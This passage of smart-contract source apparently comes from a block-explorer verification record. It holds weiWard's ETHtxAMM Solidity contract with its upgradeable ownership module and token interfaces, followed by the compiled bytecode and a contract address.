distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /* solhint-disable func-name-mixedcase */ pragma solidity 0.7.6; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init(address owner_) internal initializer { __Context_init_unchained(); __Ownable_init_unchained(owner_); } function __Ownable_init_unchained(address owner_) internal initializer { _owner = owner_; emit OwnershipTransferred(address(0), owner_); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: Apache-2.0 /** * Copyright 2021-2022 weiWard LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity 0.7.6; pragma abicoder v2; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./ETHtxAMMData.sol"; import "../interfaces/IETHtxAMM.sol"; import "../../tokens/interfaces/IETHmx.sol"; import "../../tokens/interfaces/IETHtx.sol"; import "../../tokens/interfaces/IERC20TxFee.sol"; import "../../tokens/interfaces/IWETH.sol"; import "../../rewards/interfaces/IFeeLogic.sol"; import "../../oracles/interfaces/IGasPrice.sol"; import "../../access/OwnableUpgradeable.sol"; contract ETHtxAMM is Initializable, ContextUpgradeable, OwnableUpgradeable, PausableUpgradeable, ETHtxAMMData, IETHtxAMM { using Address for address payable; using SafeERC20 for IERC20; using SafeMath for uint256; struct ETHtxAMMArgs { address weth; address ethmx; } /* Constructor */ constructor(address owner_) { init(owner_); } /* Initializer */ function init(address owner_) public virtual initializer { __Context_init_unchained(); __Ownable_init_unchained(owner_); __Pausable_init_unchained(); } function postInit(ETHtxAMMArgs memory _args) external virtual onlyOwner { _weth = _args.weth; _ethmx = _args.ethmx; } function postUpgrade(address secureVault) external virtual onlyOwner { // Can only be called once require( _targetCRatioDenDeprecated != 0, "ETHtxAMM::postUpgrade: already executed" ); // Move platform funds to vault. IERC20 wethHandle = IERC20(_weth); uint256 ethSupply = wethHandle.balanceOf(address(this)); // Calculate platform ETH after accounting for past withdrawals. uint256 platformEth = ethSupply.sub(_gethDeprecated).mul(4).div(10); platformEth += _gethDeprecated; // Move to vault. wethHandle.safeTransfer(secureVault, platformEth); // Clear deprecated state _gasOracleDeprecated = address(0); _targetCRatioNumDeprecated = 0; _targetCRatioDenDeprecated = 0; _ethtxDeprecated = address(0); _gethDeprecated = 0; } /* Fallbacks */ receive() external payable { // Only accept ETH via fallback from the WETH contract address weth_ = weth(); if (msg.sender != weth_) { // Otherwise try to convert it to WETH IWETH(weth_).deposit{ value: msg.value }(); } } /* External Mutators */ function burnETHmx(uint256 amount, bool asWETH) external virtual override whenNotPaused { address account = _msgSender(); uint256 ethmxSupply = IERC20(ethmx()).totalSupply(); require(ethmxSupply != 0, "ETHtxAMM: no ETHmx supply"); require(amount != 0, "ETHtxAMM: zero amount"); IERC20 wethHandle = IERC20(weth()); // Calculate proportional ETH due uint256 ethSupply = wethHandle.balanceOf(address(this)); uint256 amountETH = ethSupply.mul(amount).div(ethmxSupply); // Burn ETHmx (ETHmx doesn't have a burnFrom function) IERC20(ethmx()).transferFrom(account, address(this), amount); IETHmx(ethmx()).burn(amount); // Send ETH if (asWETH) { wethHandle.safeTransfer(account, amountETH); } else { IWETH(weth()).withdraw(amountETH); payable(account).sendValue(amountETH); } emit BurnedETHmx(account, amount); } function pause() external virtual override onlyOwner whenNotPaused { _pause(); } function recoverUnsupportedERC20( address token, address to, uint256 amount ) external virtual override onlyOwner { require(token != weth(), "ETHtxAMM: cannot recover WETH"); IERC20(token).safeTransfer(to, amount); emit RecoveredUnsupported(_msgSender(), token, to, amount); } function unpause() external virtual override onlyOwner whenPaused { _unpause(); } /* Public Views */ function ethmx() public view virtual override returns (address) { return _ethmx; } function weth() public view virtual override returns (address) { return _weth; } } // SPDX-License-Identifier: Apache-2.0 /** * Copyright 2021-2022 weiWard LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity 0.7.6; abstract contract ETHtxAMMData { address internal _gasOracleDeprecated; uint128 internal _targetCRatioNumDeprecated; uint128 internal _targetCRatioDenDeprecated; address internal _ethtxDeprecated; address internal _weth; address internal _ethmx; uint256 internal _gethDeprecated; uint256[44] private __gap; } // SPDX-License-Identifier: Apache-2.0 /** * Copyright 2021-2022 weiWard LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity 0.7.6; interface IETHtxAMM { /* Views */ function ethmx() external view returns (address); function weth() external view returns (address); /* Mutators */ function burnETHmx(uint256 amountIn, bool asWETH) external; function pause() external; function recoverUnsupportedERC20( address token, address to, uint256 amount ) external; function unpause() external; /* Events */ event BurnedETHmx(address indexed author, uint256 amount); event RecoveredUnsupported( address indexed author, address indexed token, address indexed to, uint256 amount ); } // SPDX-License-Identifier: Apache-2.0 /** * Copyright 2021 weiWard LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity 0.7.6; interface IGasPrice { /* Views */ function gasPrice() external view returns (uint256); function hasPriceExpired() external view returns (bool); function updateThreshold() external view returns (uint256); function updatedAt() external view returns (uint256); /* Mutators */ function setGasPrice(uint256 _gasPrice) external; function setUpdateThreshold(uint256 _updateThreshold) external; /* Events */ event GasPriceUpdate(address indexed author, uint256 newValue); event UpdateThresholdSet(address indexed author, uint256 value); } // SPDX-License-Identifier: Apache-2.0 /** * Copyright 2021 weiWard LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity 0.7.6; pragma abicoder v2; interface IFeeLogic { /* Types */ struct ExemptData { address account; bool isExempt; } /* Views */ function exemptsAt(uint256 index) external view returns (address); function exemptsLength() external view returns (uint256); function feeRate() external view returns (uint128 numerator, uint128 denominator); function getFee( address sender, address recipient_, uint256 amount ) external view returns (uint256); function getRebaseFee(uint256 amount) external view returns (uint256); function isExempt(address account) external view returns (bool); function isRebaseExempt(address account) external view returns (bool); function rebaseExemptsAt(uint256 index) external view returns (address); function rebaseExemptsLength() external view returns (uint256); function rebaseFeeRate() external view returns (uint128 numerator, uint128 denominator); function rebaseInterval() external view returns (uint256); function recipient() external view returns (address); function undoFee( address sender, address recipient_, uint256 amount ) external view returns (uint256); function undoRebaseFee(uint256 amount) external view returns (uint256); /* Mutators */ function notify(uint256 amount) external; function setExempt(address account, bool isExempt_) external; function setExemptBatch(ExemptData[] memory batch) external; function setFeeRate(uint128 numerator, uint128 denominator) external; function setRebaseExempt(address account, bool isExempt_) external; function setRebaseExemptBatch(ExemptData[] memory batch) external; function setRebaseFeeRate(uint128 numerator, uint128 denominator) external; function setRebaseInterval(uint256 interval) external; function setRecipient(address account) external; /* Events */ event ExemptAdded(address indexed author, address indexed account); event ExemptRemoved(address indexed author, address indexed account); event FeeRateSet( address indexed author, uint128 numerator, uint128 denominator ); event RebaseExemptAdded(address indexed author, address indexed account); event RebaseExemptRemoved(address indexed author, address indexed account); event RebaseFeeRateSet( address indexed author, uint128 numerator, uint128 denominator ); event RebaseIntervalSet(address indexed author, uint256 interval); event RecipientSet(address indexed author, address indexed account); } // SPDX-License-Identifier: Apache-2.0 /** * Copyright 2021 weiWard LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity 0.7.6; interface IERC20TxFee { /* Views */ function feeLogic() external view returns (address); } // SPDX-License-Identifier: Apache-2.0 /** * Copyright 2021 weiWard LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity 0.7.6; interface IETHmx { /* Views */ function minter() external view returns (address); /* Mutators */ function burn(uint256 amount) external; function mintTo(address account, uint256 amount) external; function pause() external; function recoverERC20( address token, address to, uint256 amount ) external; function setMinter(address account) external; function unpause() external; /* Events */ event MinterSet(address indexed author, address indexed account); event Recovered( address indexed author, address indexed token, address indexed to, uint256 amount ); } // SPDX-License-Identifier: Apache-2.0 /** * Copyright 2021 weiWard LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity 0.7.6; interface IETHtx { /* Views */ function feeLogic() external view returns (address); function lastRebaseTime() external view returns (uint256); function sharesBalanceOf(address account) external view returns (uint256); function sharesPerTokenX18() external view returns (uint256); function totalShares() external view returns (uint256); /* Mutators */ function burn(address account, uint256 amount) external; function mint(address account, uint256 amount) external; function pause() external; function rebase() external; function recoverERC20( address token, address to, uint256 amount ) external; function setFeeLogic(address account) external; function unpause() external; /* Events */ event FeeLogicSet(address indexed author, address indexed account); event Rebased(address indexed author, uint256 totalShares); event Recovered( address indexed author, address indexed token, address indexed to, uint256 amount ); } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; interface IWETH { function deposit() external payable; function withdraw(uint256) external; }
0x6080604052600436106100d65760003560e01c806386a86d411161007f578063c79b243011610059578063c79b243014610271578063ca1f7afc14610291578063f2fde38b146102b1578063fa750d58146102d157610169565b806386a86d411461021c5780638da5cb5b1461023c578063bca18f3d1461025157610169565b80635c975abb116100b05780635c975abb146101d0578063715018a6146101f25780638456cb591461020757610169565b806319ab453c1461016e5780633f4ba83a146101905780633fc8cef3146101a557610169565b366101695760006100e56102e6565b90503373ffffffffffffffffffffffffffffffffffffffff821614610166578073ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b15801561014c57600080fd5b505af1158015610160573d6000803e3d6000fd5b50505050505b50005b600080fd5b34801561017a57600080fd5b5061018e610189366004611f2a565b610302565b005b34801561019c57600080fd5b5061018e610430565b3480156101b157600080fd5b506101ba6102e6565b6040516101c79190612036565b60405180910390f35b3480156101dc57600080fd5b506101e5610555565b6040516101c79190612088565b3480156101fe57600080fd5b5061018e61055e565b34801561021357600080fd5b5061018e610675565b34801561022857600080fd5b5061018e610237366004611f44565b610799565b34801561024857600080fd5b506101ba610960565b34801561025d57600080fd5b5061018e61026c366004611f9b565b61097c565b34801561027d57600080fd5b5061018e61028c366004611f2a565b610a7e565b34801561029d57600080fd5b5061018e6102ac366004612007565b610ccb565b3480156102bd57600080fd5b5061018e6102cc366004611f2a565b61110c565b3480156102dd57600080fd5b506101ba6112ae565b609a5473ffffffffffffffffffffffffffffffffffffffff1690565b600054610100900460ff168061031b575061031b6112d4565b80610329575060005460ff16155b61037e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180612233602e913960400191505060405180910390fd5b600054610100900460ff161580156103e457600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909116610100171660011790555b6103ec6112e5565b6103f5826113f9565b6103fd61157b565b801561042c57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1690555b5050565b6104386116b6565b73ffffffffffffffffffffffffffffffffffffffff16610456610960565b73ffffffffffffffffffffffffffffffffffffffff16146104d857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6104e0610555565b61054b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f5061757361626c653a206e6f7420706175736564000000000000000000000000604482015290519081900360640190fd5b6105536116ba565b565b60655460ff1690565b6105666116b6565b73ffffffffffffffffffffffffffffffffffffffff16610584610960565b73ffffffffffffffffffffffffffffffffffffffff161461060657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60335460405160009173ffffffffffffffffffffffffffffffffffffffff16907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3603380547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b61067d6116b6565b73ffffffffffffffffffffffffffffffffffffffff1661069b610960565b73ffffffffffffffffffffffffffffffffffffffff161461071d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610725610555565b1561079157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a2070617573656400000000000000000000000000000000604482015290519081900360640190fd5b6105536117a8565b6107a16116b6565b73ffffffffffffffffffffffffffffffffffffffff166107bf610960565b73ffffffffffffffffffffffffffffffffffffffff161461084157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6108496102e6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ae9061215e565b60405180910390fd5b6108d873ffffffffffffffffffffffffffffffffffffffff84168383611870565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1661090e6116b6565b73ffffffffffffffffffffffffffffffffffffffff167feaf4cea276efdcae93a52ca2f4bfdd952992169289bf655b1870a4b20bdae7d6846040516109539190612195565b60405180910390a4505050565b60335473ffffffffffffffffffffffffffffffffffffffff1690565b6109846116b6565b73ffffffffffffffffffffffffffffffffffffffff166109a2610960565b73ffffffffffffffffffffffffffffffffffffffff1614610a2457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b8051609a80547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff93841617909155602090920151609b80549093169116179055565b610a866116b6565b73ffffffffffffffffffffffffffffffffffffffff16610aa4610960565b73ffffffffffffffffffffffffffffffffffffffff1614610b2657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60985470010000000000000000000000000000000090046fffffffffffffffffffffffffffffffff16610b85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ae906120ca565b609a546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169060009082906370a0823190610be0903090600401612036565b60206040518083038186803b158015610bf857600080fd5b505afa158015610c0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c309190611fef565b90506000610c5f600a610c596004610c53609c548761190290919063ffffffff16565b9061197e565b906119f8565b609c54019050610c8673ffffffffffffffffffffffffffffffffffffffff84168583611870565b5050609780547fffffffffffffffffffffffff00000000000000000000000000000000000000009081169091556000609881905560998054909216909155609c555050565b610cd3610555565b15610d3f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a2070617573656400000000000000000000000000000000604482015290519081900360640190fd5b6000610d496116b6565b90506000610d556112ae565b73ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9a57600080fd5b505afa158015610dae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd29190611fef565b905080610e0b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ae90612127565b83610e42576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ae90612093565b6000610e4c6102e6565b905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e899190612036565b60206040518083038186803b158015610ea157600080fd5b505afa158015610eb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed99190611fef565b90506000610eeb84610c59848a61197e565b9050610ef56112ae565b73ffffffffffffffffffffffffffffffffffffffff166323b872dd86308a6040518463ffffffff1660e01b8152600401610f3193929190612057565b602060405180830381600087803b158015610f4b57600080fd5b505af1158015610f5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f839190611f7f565b50610f8c6112ae565b73ffffffffffffffffffffffffffffffffffffffff166342966c68886040518263ffffffff1660e01b8152600401610fc49190612195565b600060405180830381600087803b158015610fde57600080fd5b505af1158015610ff2573d6000803e3d6000fd5b5050505085156110225761101d73ffffffffffffffffffffffffffffffffffffffff84168683611870565b6110b5565b61102a6102e6565b73ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b81526004016110629190612195565b600060405180830381600087803b15801561107c57600080fd5b505af1158015611090573d6000803e3d6000fd5b506110b59250505073ffffffffffffffffffffffffffffffffffffffff861682611a79565b8473ffffffffffffffffffffffffffffffffffffffff167f531e96b151122a1b2e097e7e7203d6466dc4446b561bff3725d08edd39e64eb8886040516110fb9190612195565b60405180910390a250505050505050565b6111146116b6565b73ffffffffffffffffffffffffffffffffffffffff16611132610960565b73ffffffffffffffffffffffffffffffffffffffff16146111b457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8116611220576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806121ad6026913960400191505060405180910390fd5b60335460405173ffffffffffffffffffffffffffffffffffffffff8084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3603380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b609b5473ffffffffffffffffffffffffffffffffffffffff1690565b803b15155b919050565b60006112df306112ca565b15905090565b600054610100900460ff16806112fe57506112fe6112d4565b8061130c575060005460ff16155b611361576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180612233602e913960400191505060405180910390fd5b600054610100900460ff161580156113c757600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909116610100171660011790555b80156113f657600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1690555b50565b600054610100900460ff168061141257506114126112d4565b80611420575060005460ff16155b611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180612233602e913960400191505060405180910390fd5b600054610100900460ff161580156114db57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909116610100171660011790555b603380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff84169081179091556040516000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3801561042c57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1690555050565b600054610100900460ff168061159457506115946112d4565b806115a2575060005460ff16155b6115f7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180612233602e913960400191505060405180910390fd5b600054610100900460ff1615801561165d57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909116610100171660011790555b606580547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905580156113f657600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16905550565b3390565b6116c2610555565b61172d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f5061757361626c653a206e6f7420706175736564000000000000000000000000604482015290519081900360640190fd5b606580547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa61177e6116b6565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190a1565b6117b0610555565b1561181c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a2070617573656400000000000000000000000000000000604482015290519081900360640190fd5b606580547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861177e6116b6565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001790526118fd908490611b9f565b505050565b60008282111561197357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b508082035b92915050565b60008261198d57506000611978565b8282028284828161199a57fe5b04146119f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806122616021913960400191505060405180910390fd5b9392505050565b6000808211611a6857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b818381611a7157fe5b049392505050565b80471015611ae857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015290519081900360640190fd5b60405160009073ffffffffffffffffffffffffffffffffffffffff84169083908381818185875af1925050503d8060008114611b40576040519150601f19603f3d011682016040523d82523d6000602084013e611b45565b606091505b50509050806118fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a8152602001806121d3603a913960400191505060405180910390fd5b6000611c01826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16611c779092919063ffffffff16565b8051909150156118fd57808060200190516020811015611c2057600080fd5b50516118fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612282602a913960400191505060405180910390fd5b6060611c868484600085611c8e565b949350505050565b606082471015611ce9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061220d6026913960400191505060405180910390fd5b611cf2856112ca565b611d5d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310611dc657805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611d89565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611e28576040519150601f19603f3d011682016040523d82523d6000602084013e611e2d565b606091505b5091509150611e3d828286611e48565b979650505050505050565b60608315611e575750816119f1565b825115611e675782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ecb578181015183820152602001611eb3565b50505050905090810190601f168015611ef85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b803573ffffffffffffffffffffffffffffffffffffffff811681146112cf57600080fd5b600060208284031215611f3b578081fd5b6119f182611f06565b600080600060608486031215611f58578182fd5b611f6184611f06565b9250611f6f60208501611f06565b9150604084013590509250925092565b600060208284031215611f90578081fd5b81516119f18161219e565b600060408284031215611fac578081fd5b6040516040810181811067ffffffffffffffff82111715611fc957fe5b604052611fd583611f06565b8152611fe360208401611f06565b60208201529392505050565b600060208284031215612000578081fd5b5051919050565b60008060408385031215612019578182fd5b82359150602083013561202b8161219e565b809150509250929050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b901515815260200190565b60208082526015908201527f4554487478414d4d3a207a65726f20616d6f756e740000000000000000000000604082015260600190565b60208082526027908201527f4554487478414d4d3a3a706f7374557067726164653a20616c7265616479206560408201527f7865637574656400000000000000000000000000000000000000000000000000606082015260800190565b60208082526019908201527f4554487478414d4d3a206e6f204554486d7820737570706c7900000000000000604082015260600190565b6020808252601d908201527f4554487478414d4d3a2063616e6e6f74207265636f7665722057455448000000604082015260600190565b90815260200190565b80151581146113f657600080fdfe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220324cfe15e5719e7c12ec0ea2a87515c33d4cce3be680ca2df99f1f5452390a9e64736f6c63430007060033
[ 16, 7 ]
0xf2cd34d9249b8e5a1b8c42f6272774ec213fbb24
